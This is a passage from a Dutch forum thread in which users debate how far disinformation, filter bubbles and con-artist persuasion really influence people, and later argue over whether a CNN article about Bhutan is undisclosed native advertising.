Wanneer je bovenstaande linkt aan beïnvloeding vanuit Rusland of sinds kort de Verenigde Staten. Dan zie je de gevaren voor de democratie en hoe kritiek juiste informatievoorziening is voor onze toekomst.

offtopic:
Eigenlijk wilde ik nog wat voorbeelden van beïnvloedingscampagnes toevoegen zoals Cambridge Analytica en (weet ik niet meer zeker) raadgevend referendum Oekraïne 2016, maar dan raak ik te veel op een zijspoor.

Als ik ergens fout zit, corrigeer me gerust.

Ik ben toch even in m'n archieven gedoken, ik heb even tijd
Ik weet dat de correspondent een wat linksere en positieve inslag heeft, maar ook dat er prima journalistiek met bronnen en cijfers aan ten grondslag ligt.

https://decorrespondent.n...485aa75?mc_cid=e39b8854f8

Overigens is het niet te ontkennen dat kleine groepen mensen zeker in de fabeltjesfuik en extremistische bubbels terecht komen. Maar dat zijn al bestaande voorkeuren. Of mensen die van nature makkelijk beïnvloedbaar zijn.
Net zoals dat maar 5-10% van de bevolking vatbaar is voor hypnose. In tegenstelling tot wat films ed je willen doen geloven.

[ Voor 4% gewijzigd door DropjesLover op 21-02-2025 19:57 ]

[Verwijderd]

DropjesLover schreef op vrijdag 21 februari 2025 @ 18:42:
[...]

Ik ben toch even in m'n archieven gedoken, ik heb even tijd
Ik weet dat de correspondent een wat linksere en positieve inslag heeft, maar ook dat er prima journalistiek met bronnen en cijfers aan ten grondslag ligt.

https://decorrespondent.n...485aa75?mc_cid=e39b8854f8

Bedankt! Goed artikel waardoor ik mijn overtuigingen wel moet corrigeren. Toch wil ik er eerst nog wat dieper in wil duiken om te kijken welke punten precies gecorrigeerd moeten worden.

I stand corrected.

[Jerie]

DropjesLover schreef op vrijdag 21 februari 2025 @ 18:42:

Overigens is het niet te ontkennen dat kleine groepen mensen zeker in de fabeltjesfuik en extremistische bubbels terecht komen. Maar dat zijn al bestaande voorkeuren. Of mensen die van nature makkelijk beïnvloedbaar zijn.
Net zoals dat maar 5-10% van de bevolking vatbaar is voor hypnose. In tegenstelling tot wat films ed je willen doen geloven.

Sorry, dat mensen die in de fabeltjesfuik of extremisme trappen bestaande voorkeuren hebben, makkelijk beïnvloedbaar zijn is onzin. Dat ze dom zouden zijn, idem.

Het is gewoonweg niet waar. Een ieder kan hier in trappen. Dom, slim, lelijk, mooi, klein, groot, dik, dun, Belg, Nederlander, Duitser, Rus, Oekraïner, Amerikaan, Hongaar, Brit, ... zelfs een pinguïn kun je nog belazeren.

En ik geef het bij deze toe. Ik ben een oplichter. Ik licht mijn katten op, meerdere keren per dag. Nee, ik zet ze niet in lichterlaaie. Nee, ze zijn ook niet nucleair geladen. Ze denken dat ze vlees eten. Het ruikt er ook naar. Het ziet er zo uit. Het heeft eenzelfde structuur. Maar hoofdzakelijk is het heel iets anders. Soylent green nou gaat dat laatste weer wat te ver. Ze worden in ieder geval wel om de tuin geleid.

Zoek eens uit hoe marketing werkt, het handige neefje van Freud (Edward Bernays) heeft het uitgevonden.

Het gevaar is dat zij die zich onkwetsbaar hiervoor voelen (want niet de doelgroep, of te intelligent, te sterk, enz) er juist in zullen trappen. Want con men staat con voor confidence. Men speelt met je goedgelovigheid, je vertrouwen. Jij bent toch niet zo dom dat jij er in zou tuinen? Dat doen alleen anderen!

Mocht je er meer over willen leren, dan zet ik in deze post nog e.e.a. uiteen Jerie in "[ZT] Trump II en de Amerikaanse politiek"

[DropjesLover]

Jerie schreef op vrijdag 21 februari 2025 @ 23:29:
[...]


Sorry, dat mensen die in de fabeltjesfuik of extremisme trappen bestaande voorkeuren hebben, makkelijk beïnvloedbaar zijn is onzin. Dat ze dom zouden zijn, idem.

Het is gewoonweg niet waar. Een ieder kan hier in trappen. Dom, slim, lelijk, mooi, klein, groot, dik, dun, Belg, Nederlander, Duitser, Rus, Oekraïner, Amerikaan, Hongaar, Brit, ... zelfs een pinguïn kun je nog belazeren.

En ik geef het bij deze toe. Ik ben een oplichter. Ik licht mijn katten op, meerdere keren per dag. Nee, ik zet ze niet in lichterlaaie. Nee, ze zijn ook niet nucleair geladen. Ze denken dat ze vlees eten. Het ruikt er ook naar. Het ziet er zo uit. Het heeft eenzelfde structuur. Maar hoofdzakelijk is het heel iets anders. Soylent green nou gaat dat laatste weer wat te ver. Ze worden in ieder geval wel om de tuin geleid.

Zoek eens uit hoe marketing werkt, het handige neefje van Freud (Edward Bernays) heeft het uitgevonden.

Het gevaar is dat zij die zich onkwetsbaar hiervoor voelen (want niet de doelgroep, of te intelligent, te sterk, enz) er juist in zullen trappen. Want con men staat con voor confidence. Men speelt met je goedgelovigheid, je vertrouwen. Jij bent toch niet zo dom dat jij er in zou tuinen? Dat doen alleen anderen!

Mocht je er meer over willen leren, dan zet ik in deze post nog e.e.a. uiteen Jerie in "[ZT] Trump II en de Amerikaanse politiek"

Ik noem niemand dom? Ik noem eigenlijk expliciet mensen verdraaid moeilijk werkelijk beinvloedbaar.
Ik zeg dat veruit de meeste mensen eigenlijk zelf al in de fabeltjesfuik en bubbels zitten omdat het aansluit en versterkt waar ze toch al naar neigden / dachten / aanvoelden. Een dergelijke bubbel is een groep van gelijkgestemden, dat hun wereldbeeld bevestigt (en versterkt/verankert). Daar voelen mensen zich nu eenmaal prettig bij.
Dat is totaal ongeschikt aan objectief gemeten intelligentie, en men is er niet als totale buitenstaander in gemanipuleerd.


Iemand beetnemen of verleiden tot een handeling (aankoop, babbeltruck) gaat op vertrouwen en beloften, maar ook over relatief kleine bedragen of handelingen. Daarbij gaat ook lang niet iedereen (veruit een minderheid eigenlijk) er op in. Daarom focussen kwaadwillenden zich ook op kwetsbare/makkelijk beinvloedbare personen.
Bij een nieuwe auto doet men doorgaans wat meer onderzoek dan bij een ander shampoo-merk.
Marketing richt zich ook redelijk plat, 2-dimensionaal op 1 aspect. Denk een cirkel
Bubbels zijn 3-dimensionaal, uit vele schijfjes cirkels. Er zijn veel meer dempende omgevingsfactoren aanwezig die werkelijk gedrag of wereldbeeld beinvloeden en veranderingen dempen.

Zie ook mijn eerdere post over hoe weinig invloed nepnieuws objectief gemeten werkelijk heeft.

Apache4u schreef op vrijdag 21 februari 2025 @ 23:39:
[...]


1. Wie bepaalt dat rusland dat akkoord schendt? Ik vrees dat dat een unaniem oordeel moet zijn van alle lidstaten. Succes verzekerd dus met Fico, Orban en Trump.
2. Wat als de navo ophoudt te bestaan, of de VS er uit stapt?

Ik zou als UA zijnde toch even goed nadenken bij het opstellen van overeenkomsten die hun veiligheid moeten garanderen. Dat was alle vorige keren (boedapest, minsk) ook niet echt een succes.

Ik zie ook problemen. Kijk hoe lang het duurde voordat... bepaalde landen akkoord gingen met lidmaatschap van 2 landen duurde.
En die waren niet in oorlog of hadden direct benodigde veiligheidsgaranties nodig.

[ Voor 11% gewijzigd door DropjesLover op 21-02-2025 23:58 ]

[Jerie]

DropjesLover schreef op vrijdag 21 februari 2025 @ 23:55:
[...]

Ik noem niemand dom? Ik noem eigenlijk expliciet mensen verdraaid moeilijk werkelijk beinvloedbaar.
Ik zeg dat veruit de meeste mensen eigenlijk zelf al in de fabeltjesfuik en bubbels zitten omdat het aansluit en versterkt waar ze toch al naar neigden / dachten / aanvoelden. Een dergelijke bubbel is een groep van gelijkgestemden, dat hun wereldbeeld bevestigt (en versterkt/verankert). Daar voelen mensen zich nu eenmaal prettig bij.
Dat is totaal ongeschikt aan objectief gemeten intelligentie, en men is er niet als totale buitenstaander in gemanipuleerd.


Iemand beetnemen of verleiden tot een handeling (aankoop, babbeltruck) gaat op vertrouwen en beloften, maar ook over relatief kleine bedragen of handelingen. Daarbij gaat ook lang niet iedereen (veruit een minderheid eigenlijk) er op in. Daarom focussen kwaadwillenden zich ook op kwetsbare/makkelijk beinvloedbare personen.
Bij een nieuwe auto doet men doorgaans wat meer onderzoek dan bij een ander shampoo-merk.
Marketing richt zich ook redelijk plat, 2-dimensionaal op 1 aspect. Denk een cirkel
Bubbels zijn 3-dimensionaal, uit vele schijfjes cirkels. Er zijn veel meer dempende omgevingsfactoren aanwezig die werkelijk gedrag of wereldbeeld beinvloeden en veranderingen dempen.

Zie ook mijn eerdere post over hoe weinig invloed nepnieuws objectief gemeten werkelijk heeft.

Je hoeft iemand niet dom te noemen. Je kunt iemand kleineren of bang maken, of juist de hoogte in prijzen. Dat is effectiever. Dom is gewoon een voorbeeld, ervan uitgaande dat de lezende doelgroep zichzelf intelligent acht.

Mensen zijn juist heel makkelijk beïnvloedbaar. Vraag maar aan Diederik Stapel. Of Tara Singh Varma. Of Elizabeth Holmes. Maar jou zou het niet overkomen <cause reasons>. Kijk, dat jij daar zelf in wilt geloven, jammer, is jouw keuze. Dat je anderen ervan probeert te overtuigen, dat is ronduit schadelijk.

Hoe het werkt is dat je eerst uit je huidige bubbel wordt gelokt. Daar moet je kwetsbaar voor zijn, en iedereen heeft kwetsbaarheden. Een voorbeeld is jonge, onzekere meiden die voor een loverboy vallen (prototype dark triad con men). Eerst komt de flirt, bij een grappige opmerking die haar omhoog haalt. Bijv die neerkomt op wat ben je mooi. Vervolgens komt de rest van de lovebomb. Dat is de bait, daarmee wordt een behoefte voozien. Dan komt de switch. In deze context alienation van de gevestigde orde (het ouderlijk gezag, de United States of America, ...).

Omgekeerd is er ook honey trapping waaronder Wikipedia: Sexpionage. Dit was zeer effectief tijdens de Koude Oorlog. Het artikel staat vol met voorbeelden, en ook voorlopers van KGB zoals NKVD en Cheka waren hier al bekend mee. Al die mensen (vrijwel altijd mannen) tuinden er in.

Nepnieuws heeft wel degelijk effect wanneer je kijkt naar effort <-> reward. Het is kwantitatief, firehose of falsehood, flooding the zone, kijken wat er aan de muur blijft plakken. Het is low effort maar voor je bullshit hebt weerlegd ben je alweer 3x nepnieuws verder. Kijk naar hoe Trump dat doet.

Daarnaast, fysieke babbeltruc is laaghangend fruit. Dat zijn geen high skilled oplichters of spionnen of marketeers maar de minst goeie. De reden is die gaan makkelijk gepakt worden want fysieke lokatie. Staan op camera. Als je iemand in Nederland wilt oplichten dan is je lokatie in China of Rusland uitstekend. De overheid aldaar vindt het fantastisch dat jij dat doet, vooral die van Rusland die is zelf al crimineel (China doet meer aan cha bu duo). Met cryptocurrency kun je geld exfiltreren. Noord-Korea is er rijk mee geworden (Lazaru$).

In de verkoop is het ook een techniek eerst een makkelijke of retoriek vraag te stellen die positief (met 'ja') gaat worden beantwoordt. Mag ik u iets vragen? Ja? Heeft u [...]. Je vraagt iemand die een trouwring om heeft of diegene is getrouwd. Je vraagt iemand die luiers voor een newborn koopt of diegene toevallig slaaptekort heeft, enz. enz. Cold reading. Niet alleen mensen die in paranormale geloven zijn daar kwetsbaar voor. Iedereen is dat.

Zie ook deze interview in The Atlantic met Maria Konnikova, Can You Spot a Liar?:

[...] grifters manipulate human emotions in genius (and evil) ways, striking right when we feel lovelorn or otherwise emotionally vulnerable.

Q: Welke con artist vond je het meest remarkable (NB: ze gaat terug in de tijd nog voor 20e eeuw):

[...] Ferdinand Waldo Demara. The fact that not only was he able to take on so many different guises, including as a surgeon—I mean that’s crazy, that he was able to fool the Navy into giving him an entire ship full of people. But, the fact that he was successful, that he actually performed surgery, so he was able to bluster his way through it, which is kind of remarkable if you think about it. That someone who didn't even graduate from high school was able to do this. And I also thought it was really interesting that so much of his life isn't known or at least, wasn't known to the public, because he has a really dark side and he's actually kind of a nasty person, but all of that got lost because his biographer was also conned by him, which is kind of incredible.

Over het stoppen met praten met con artists (i.v.m. boek) zei ze het volgende:

I stopped talking to the con artists I was writing about, about halfway through the research process, because I realized that the same thing was happening to me. When I actually spoke with them and met them, I was no longer objective because they’re so good, so charismatic—you really start identifying with them and thinking, “Oh, they’re really not so bad.” You start making all sorts of excuses and it’s really not a good thing, so I stopped talking to them. I realized I needed to talk to the victims.

(Poetin is ook 'not that bad', zo heeft Elon ondervonden.)

Over het proces dat ze zelf werd opgelicht tijdens interviews:

[...] A lot of times, you don’t even realize they’re making excuses until you see yourself writing a paragraph where you are describing them as kind of a ‘jovial man’ and you suddenly see all these positive attributes coming out of your own mouth and you think, oh no, no, no, no, no.

Vervolgens legt Konnikova dark triad uit: psychopatie (sociopatie), narcisme, Machiavellisme. Dat zijn aspecten waar Poetin en Trump hoog in scoren. Dat waardeert men ook aan elkaar.

Dan legt ze uit waarom dit zo van belang is:

The reason those traits are so important to con artists is that you are taking advantage of people, and in order to do it well, you can’t think that you’re taking advantage of people, because the moment you do, you start feeling bad for them.[...]

Ik weet nog heel goed dat ik werd opgelicht, en iets zei waardoor de oplichter medelij met mij kreeg. Dat moment, is een split second die je waar kunt nemen in de gelaatsuitdrukking (ook bekend als verhoortechniek voor diensten). Hij zette door, zette de knop om, dat was te zien in de volgende gelaatsuitdrukking. Was mooi om te zien, onvergetelijk.

[DropjesLover]

Jerie schreef op zaterdag 22 februari 2025 @ 17:05:
[...]


Je hoeft iemand niet dom te noemen. Je kunt iemand kleineren of bang maken, of juist de hoogte in prijzen. Dat is effectiever. Dom is gewoon een voorbeeld, ervan uitgaande dat de lezende doelgroep zichzelf intelligent acht.

Mensen zijn juist heel makkelijk beïnvloedbaar. Vraag maar aan Diederik Stapel. Of Tara Singh Varma. Of Elizabeth Holmes. Maar jou zou het niet overkomen <cause reasons>. Kijk, dat jij daar zelf in wilt geloven, jammer, is jouw keuze. Dat je anderen ervan probeert te overtuigen, dat is ronduit schadelijk.

Hoe het werkt is dat je eerst uit je huidige bubbel wordt gelokt. Daar moet je kwetsbaar voor zijn, en iedereen heeft kwetsbaarheden. Een voorbeeld is jonge, onzekere meiden die voor een loverboy vallen (prototype dark triad con men). Eerst komt de flirt, bij een grappige opmerking die haar omhoog haalt. Bijv die neerkomt op wat ben je mooi. Vervolgens komt de rest van de lovebomb. Dat is de bait, daarmee wordt een behoefte voozien. Dan komt de switch. In deze context alienation van de gevestigde orde (het ouderlijk gezag, de United States of America, ...).

Omgekeerd is er ook honey trapping waaronder Wikipedia: Sexpionage. Dit was zeer effectief tijdens de Koude Oorlog. Het artikel staat vol met voorbeelden, en ook voorlopers van KGB zoals NKVD en Cheka waren hier al bekend mee. Al die mensen (vrijwel altijd mannen) tuinden er in.

Nepnieuws heeft wel degelijk effect wanneer je kijkt naar effort <-> reward. Het is kwantitatief, firehose of falsehood, flooding the zone, kijken wat er aan de muur blijft plakken. Het is low effort maar voor je bullshit hebt weerlegd ben je alweer 3x nepnieuws verder. Kijk naar hoe Trump dat doet.

Daarnaast, fysieke babbeltruc is laaghangend fruit. Dat zijn geen high skilled oplichters of spionnen of marketeers maar de minst goeie. De reden is die gaan makkelijk gepakt worden want fysieke lokatie. Staan op camera. Als je iemand in Nederland wilt oplichten dan is je lokatie in China of Rusland uitstekend. De overheid aldaar vindt het fantastisch dat jij dat doet, vooral die van Rusland die is zelf al crimineel (China doet meer aan cha bu duo). Met cryptocurrency kun je geld exfiltreren. Noord-Korea is er rijk mee geworden (Lazaru$).

In de verkoop is het ook een techniek eerst een makkelijke of retoriek vraag te stellen die positief (met 'ja') gaat worden beantwoordt. Mag ik u iets vragen? Ja? Heeft u [...]. Je vraagt iemand die een trouwring om heeft of diegene is getrouwd. Je vraagt iemand die luiers voor een newborn koopt of diegene toevallig slaaptekort heeft, enz. enz. Cold reading. Niet alleen mensen die in paranormale geloven zijn daar kwetsbaar voor. Iedereen is dat.

Zie ook deze interview in The Atlantic met Maria Konnikova, Can You Spot a Liar?:


[...]


Q: Welke con artist vond je het meest remarkable (NB: ze gaat terug in de tijd nog voor 20e eeuw):


[...]


Over het stoppen met praten met con artists (i.v.m. boek) zei ze het volgende:


[...]


(Poetin is ook 'not that bad', zo heeft Elon ondervonden.)

Over het proces dat ze zelf werd opgelicht tijdens interviews:


[...]


Vervolgens legt Konnikova dark triad uit: psychopatie (sociopatie), narcisme, Machiavellisme. Dat zijn aspecten waar Poetin en Trump hoog in scoren. Dat waardeert men ook aan elkaar.

Dan legt ze uit waarom dit zo van belang is:


[...]


Ik weet nog heel goed dat ik werd opgelicht, en iets zei waardoor de oplichter medelij met mij kreeg. Dat moment, is een split second die je waar kunt nemen in de gelaatsuitdrukking (ook bekend als verhoortechniek voor diensten). Hij zette door, zette de knop om, dat was te zien in de volgende gelaatsuitdrukking. Was mooi om te zien, onvergetelijk.

Alle situaties die je beschrijft gaan uit van behoorlijk intensief en vooral persoonlijk contact. Via nepnieuws en bubbels werkt dat stukken minder goed, net omdat het enkel via internet / media is.

Er worden zeker mensen succesvol gemanipuleerd, ook via internet, in het doen van handelingen waar ze het eigenlijk niet mee eens zijn; oplichting, sextortion, etc. Absoluut verwerpelijk en moet tegen opgetreden worden, en zeker niet het slachtoffer zijn schuld. Maar die slachtoffers zijn zorgvuldig afgetast en uitgekozen.
In de media hoor je alleen de (helaas) geslaagde pogingen, maar niks over het totaal aantal pogingen (ook omdat die onschuldig beginnen).

Bubbels en misinformatie zijn daarentegen extreem breed gericht op de hele bevolking an sich.
Daarom, iedereen die er al interesse in heeft / vatbaar voor is, wordt er door de algoritmes naar toe getrokken. Maar wie er geen interesse in heeft ook weer expliciet niet.
Vergelijk het met IS-terrorisme. Het spreek theoretisch een bevolking aan van 2 miljard mensen wereldwijd. Ja, een paar duizend werden verleid om naar IS gebied te reizen en zich er bij aan te sluiten. Op het totaal een miniscuul aantal.
Of in Nederland, ook iets meer dan 1 miljoen moslims. Hoeveel zijn er daarvan geradicaliseerd en plegen aanslagen? Een handvol. Terwijl er toch echt veel propaganda en dergelijke tegenaan gegooid is, en dat moslims echt wel een punt van onvrede/onrecht (discriminatie hier, Palestina, etc) hebben waar makkelijk op aangehaakt kan worden.


Laten we het er op houden dat we een andere mening hebben, en dat we elkaar er niet van gaan overtuigen.

Ik vind het wel belangrijk om een tegengeluid te geven tegen de berichtgeving dat iedereen programmeerbaar / manipuleerbaar / in nepnieuws-bubbels te krijgen is.
Dat is onderzocht en meetbaar, en gewoon niet waar.

[Ample Energy]

DropjesLover schreef op zaterdag 22 februari 2025 @ 17:50:
[...]

Ik vind het wel belangrijk om een tegengeluid te geven tegen de berichtgeving dat iedereen programmeerbaar / manipuleerbaar / in nepnieuws-bubbels te krijgen is.
Dat is onderzocht en meetbaar, en gewoon niet waar.

Klinkt als onzin. Begrijp ik je goed als ik denk te lezen dat je zegt dat sommige mensen totaal onprogrammeerbaar zijn? Het is onderzocht en bewezen dat er mensen zijn die totaal niks leren van hun omgeving, sociale interacties en/of ervaringen?
Iedereen is programmeerbaar, of ze dat nou willen toegeven of niet. Sociale dynamieken, cognitieve vooringenomenheden, emotionele indrukken, herhaalde indrukken/conditionering, dat bestaat gewoon voor elk mens, hoe kritisch en zelfbewust iemand ook kan denken.
Begrijpen we je niet goed of heb je de onderzoeken die je denkt te hebben gelezen ook ergens bij de hand?

[DropjesLover]

Ample Energy schreef op zaterdag 22 februari 2025 @ 18:36:
[...]

Klinkt als onzin. Begrijp ik je goed als ik denk te lezen dat je zegt dat sommige mensen totaal onprogrammeerbaar zijn? Het is onderzocht en bewezen dat er mensen zijn die totaal niks leren van hun omgeving, sociale interacties en/of ervaringen?
Iedereen is programmeerbaar, of ze dat nou willen toegeven of niet. Sociale dynamieken, cognitieve vooringenomenheden, emotionele indrukken, herhaalde indrukken/conditionering, dat bestaat gewoon voor elk mens, hoe kritisch en zelfbewust iemand ook kan denken.
Begrijpen we je niet goed of heb je de onderzoeken die je denkt te hebben gelezen ook ergens bij de hand?

Ik verwijs naar mijn eerdere de correspondent bron.

Iedereen is vast manipuleerbaar/programmeerbaar. Maar alleen bij heel veel tijd en persoonlijke aandacht, op een manier die bij die persoon werkt.
Een links gematigd persoon met actieve sociale kring enkel met aandacht-algoritmes en nepnieuws bestoken maakt die persoon geen FvD'er.

We geven het echt te veel credit en denken echt veel te zwart.

Kijk ook naar gruwelijke voorbeelden in de geschiedenis. Duitsland na 1945 had ook voornamelijk fatsoenlijke mensen. Hutu 's en Tutsi's leven ook weer samen (al blijft het een kruidvat), etc.

[ Voor 10% gewijzigd door DropjesLover op 22-02-2025 19:09 ]

[Appesteijn]

DropjesLover schreef op zaterdag 22 februari 2025 @ 19:05:
[...]

Ik verwijs naar mijn eerdere de correspondent bron.

Iedereen is vast manipuleerbaar/programmeerbaar. Maar alleen bij heel veel tijd en persoonlijke aandacht, op een manier die bij die persoon werkt.
Een links gematigd persoon met actieve sociale kring enkel met aandacht-algoritmes en nepnieuws bestoken maakt die persoon geen FvD'er.

We geven het echt te veel credit en denken echt veel te zwart.

Kijk ook naar gruwelijke voorbeelden in de geschiedenis. Duitsland na 1945 had ook voornamelijk fatsoenlijke mensen. Hutu 's en Tutsi's leven ook weer samen (al blijft het een kruidvat), etc.

De beïnvloeding hoeft iemand ook niet van -100 naar +100 te laten gaan. Zorgen dat die persoon denkt dat bv stemmen toch geen zin heeft of dat de rest van je omgeving wel achter de FVD ( uit je voorbeeld) staat kan in een netwerk natuurlijk al voor effect zorgen.

[Norjee]

DropjesLover schreef op vrijdag 21 februari 2025 @ 18:42:
[...]

https://decorrespondent.n...485aa75?mc_cid=e39b8854f8

...

Dat artikel herinner ik me. Ik heb het idee dat het artikel een beetje mist wat desinformatie doet, terwijl het probleem dat aangekaart wordt, dat mensen twijfelen of nieuws echt is (en niet herkennen of het neutraal of gekleurd is), een van de grootste winsten van mis-/desinformatie is (naast beïnvloeden waar over gesproken wordt en waar just niet). In het artikel wordt veel opgehangen aan "laat staan dat zij zich er anders door gaan gedragen dan ze van plan waren.". Sure dat gebeurd niet snel, maar is ook niet het doel, het doel is twijfel zaaien en autoriteit ondermijnen, en daarmee het vermogen van mensen om kritisch te kunnen denken te ondermijnen (menselijke natuur is gewicht toe te kennen aan de meerderheid, maar in een bubble is de meerderheid niet echt de meerderheid, en de autoriteit niet echt een autoriteit) en vatbaar te maken voor invloeden. Domheid wordt tot een deugd gemaakt, en ipv te vertrouwen op informatievoorziening wordt vertrouwd op de goed gevoede onderbuik

[ Voor 3% gewijzigd door Norjee op 22-02-2025 22:14 ]

[Stukfruit]

Norjee schreef op zaterdag 22 februari 2025 @ 21:59:
[...]

Sure dat gebeurd niet snel, maar is ook niet het doel, het doel is twijfel zaaien en autoriteit ondermijnen, en daarmee het vermogen van mensen om kritisch te kunnen denken te ondermijnen (menselijke natuur is gewicht toe te kennen aan de meerderheid, maar in een bubble is de meerderheid niet echt de meerderheid, en de autoriteit niet echt een autoriteit) en vatbaar te maken voor invloeden. Domheid wordt tot een deugd gemaakt, en ipv te vertrouwen op informatievoorziening wordt vertrouwd op de goed gevoede onderbuik

Wat je aan bronnen zoals Fox News (zie bv. uitleg van gisteren) kan zien is dat ze het ook een tijdrovende klus maken om de achterliggende informatie tot je te nemen.

Het is hetzelfde format als Twitter: je roept iets en de mensen die het lezen moeten bevestigen, ipv dat de verslaggever zelf de informatie bevestigt voordat het geplaatst wordt, of deze intentie überhaupt heeft.

Dat zie je eigenlijk bij alle wapperende roeptoeters voorbijkomen: wel modder rondslingeren, nergens mogelijk maken om snel door te klikken naar de afkomst van die modder.

Je ziet het op GoT ook steeds vaker voorkomen dat mensen een schermafdruk maken of overnemen en deze plaatsen ipv door te linken. Zulke reacties kan ik zelf standaard niet meer serieus nemen omdat het mij als lezer frustreert, op alle manieren waarop die term interpreteerbaar is, want het kost gewoon extra moeite om erachter te komen waar het vandaan komt en hoe betrouwbaar het is.

Zelfde geldt voor items uit liveblogs: alleen een kopie van nieuws is geen nieuws.

Daarnaast wordt dat gedrag in de minder serieuze topics populair gemaakt en langzaamaan zie je het nu doordruppelen naar de serieuzere topics. Waarschijnlijk niet eens altijd met verkeerde bedoelingen, maar het maakt bevestiging moeilijker en mogelijkheid tot misbruik makkelijker.

Met dat in gedachten zou ik ook een beetje uitkijken met het benoemen van gedrag als dom. Het zit 'm voor zover ik kan zien een groot deel in de neiging om geen energie te willen verspillen aan het doorzoeken wat hier imho het probleem is. Sites zoals Fox News maken daar gretig gebruik van en maken het zo makkelijker om desinformatie te verspreiden.

Overigens is exact dezelfde tactiek ook terug te zien in de producten van grote bekende techbedrijven. Airbnb heeft wel een zoekfunctie, maar deze is nutteloos omdat ze tonen wat zij vinden dat meer inkomsten oplevert via de marge voor iedere woning. Door de toevoeging van zoekfilters lijken ze meer controle te geven over wat je ziet... guess what: dan tonen ze nog steeds de woningen die meer marge opleveren en door alleen eigen opties voor dagen die wel beschikbaar zijn te bieden kun je niet zien op welke dagen iets goedkopers in de omgeving eventueel wel beschikbaar is. Het is de illusie van controle.

Zo kun je voor ieder groot platform zien dat ze eigenlijk een (voor de eindgebruiker) relatief simpel hulpmiddel aanbieden waarvoor je door overbodig veel hoepels moet springen om de nuttige info te vinden. Met dat in gedachten is het niet vreemd dat desinformatie en de huidige techbedrijven (met tech zelf is weinig mis, het is hoe het wordt ingezet) een match made in heaven zijn.

[ Voor 5% gewijzigd door Stukfruit op 23-02-2025 02:25 ]

[Stukfruit]

Dit is iets wat me recent pas is gaan opvallen: er zijn op CNN steeds meer van dit soort artikelen te vinden.

Met de regels hierboven in gedachten houdend is dat niet meer dan propaganda te noemen. Er staat geen kritisch woord tussen en het lijkt reclame voor Bhutan met zaken die niet echt te bevestigen zijn.

Deze hier is ook iets wat je niet zou verwachten van een partij die serieus nieuws zou moeten brengen ipv clickbait waar je weinig mee kan. Maar het staat dus wel groot op de voorpagina.

Het gaat hier niet om de Outbrain of Taboola chumboxes, maar om "echte" artikelen. Ik vind dit best zorgwekkend. Als zelfs een CNN nu de weg van Fox begint te volgen... de stap naar desinformatie op serieus vlak (het verhaal over Bhutan even buiten beschouwing latende) wordt zo steeds kleiner

[Fornoo]

Propaganda? Het is gewoon een pseudo 'mindfulness' artikeltje. De titel:

"‘Moving to Bhutan taught me to live mindfully’: How an American woman found love and happiness in the Himalayas"

Hoe kun je hier meer van verwachten dan de ervaring van deze vrouw?

De libelle's en al die andere tijdschriften staan vol met dit soort verhalen. Allemaal propaganda?

Vrouwen smullen hier van...

[ Voor 19% gewijzigd door Fornoo op 19-05-2025 21:59 ]

[Stukfruit]

Lees je eens in over Bhutan

[Fornoo]

Het doel hier is een leuk artikeltje voor vrouwen in een bepaalde leeftijdsgroep.

Niet alles in de wereld is ellende. Dit is het persoonlijke verhaal van een vrouw!

[BadRespawn]

Fornoo schreef op maandag 19 mei 2025 @ 22:03:
Het doel hier is een leuk artikeltje voor vrouwen in een bepaalde leeftijdsgroep.

Hoe weet je wat het doel is?

Niet alles in de wereld is ellende.

In Butan is wel ellende.

Het is zoiets als tijdens WW2 een artikel over hoe leuk Duitsland is als vakantieland; positief verhaal alsof de ellende onbelangrijk is.
Als het niet bedoelt is als propaganda dan functioneert het nog wel als propaganda.

[Fornoo]

Waarom moet WW2 er bijgehaald worden? Whataboutism, om maar eens in het jargon van de vaste kliek te praten. Veel te zwart wit gedacht.

Het is goed mogelijk dat er ellende in een land is en tegelijk een vrouw haar geluk vindt in dat land.

Jij gaat er vanuit dat de lezer na het lezen denkt "goh, Butan is zo erg nog niet.". Ik denk dat de gemiddelde lezer denkt "goh, wat een mooi persoonlijk verhaal van deze vrouw."

[Brent]

Nation-marketing, het is een ding. Lijkt me prima om erop te wijzen dat een land zoiets doet, met dat genre artikelen. Weet jij veel of ze ervoor betaald kreeg?

Waarom daarvoor een kick na 2 weken overigens?

[Stukfruit]

Nou, daar kan ik wel een boekje over opendoen.

Want beste @Fornoo, het is inmiddels bekend dat je zaken van meerdere kanten wil bekijken, maar heb je al eens overwogen dat mensen onder ons met kennis uit de industrie weten (dus niet alleen denken) dat het geen "echte" content is?

Rond 2015 - 2016 is o.a. CNN begonnen met het overstappen op native advertising omdat o.a. bannerinkomsten steeds verder omlaag gingen. Dat is een mooi woord waar je positieve kriebels van kunt krijgen, maar het is niets meer dan "advertentie zonder label": een grijs vlak waarin de randjes van geldende wetgeving worden opgezocht om maar niet te hoeven tonen dat iets eigenlijk betaald is. Zeker zodra het gaat om de variant die ook wel bekend staat als "content marketing", waar we het hier over hebben.

Er zijn verschillende afdelingen voor opgericht die zich geheel op (bannervrij) adverteren richten.
Voor het artikel hierboven kun je bijvoorbeeld terecht bij afdelingen zoals CNN TASK. Breng een zak geld mee en Bob's your uncle. Geloof je het niet? Check het begin van de reis zoals omschreven door CNN zelf:

Want to target engaged audiences, license content or create authority for your brand?

Terug naar het artikel: de schrijver (keywords: branded content, seo, enz. het is haar specialiteit) doet exclusief aan dit soort artikelen ipv nieuwsvergaring, verslaggeving of verkenning en er wordt duidelijk gelinkt naar haar boeken:

Linda’s love affair with her adopted country has produced two books, “Married to Bhutan,” and “A Field Guide to Happiness.” Both intriguing and laugh-out-loud funny, the books describe her plunge into cross-cultural living and what she has learned in the process, including not taking modern conveniences for granted.

TL;DR: het is nonsens en "goh, wat een mooi persoonlijk verhaal van deze vrouw" is eigenlijk een combinatie van verkapte boekverkoop en landpromotie.

Je ziet zelf hopelijk ook dat zoiets mogelijkheden geeft. RT is er inmiddels voor gebanned in Europa.

Natuurlijk kun je RT niet direct naast CNN zetten. Het geeft echter wel een opening voor "een ander perspectief" zonder journalistieke controle. En zoals je ook ziet krijgt dat een plek op de frontpage zonder enige transparantie.

[ Voor 3% gewijzigd door Stukfruit op 20-05-2025 20:35 ]

[BadRespawn]

Fornoo schreef op dinsdag 20 mei 2025 @ 18:22:

Het is goed mogelijk dat er ellende in een land is en tegelijk een vrouw haar geluk vindt in dat land.

Zo geformuleerd lijkt het alsof media alleen maar doorgeefluik zijn van wat er zoal in de wereld gebeurd, en laat buiten beschouwing wat juist voor dit topic zeer relevant is: media maken keuzes mbt wat wel en wat niet wordt gepubliceerd, waarbij specifieke filters van toepassing zijn (Propaganda model, Edward S. Herman and Noam Chomsky).

MBt Bhutan en die artikelen, "geluk" is zo'n beetje Bhutan's voornaamste product:

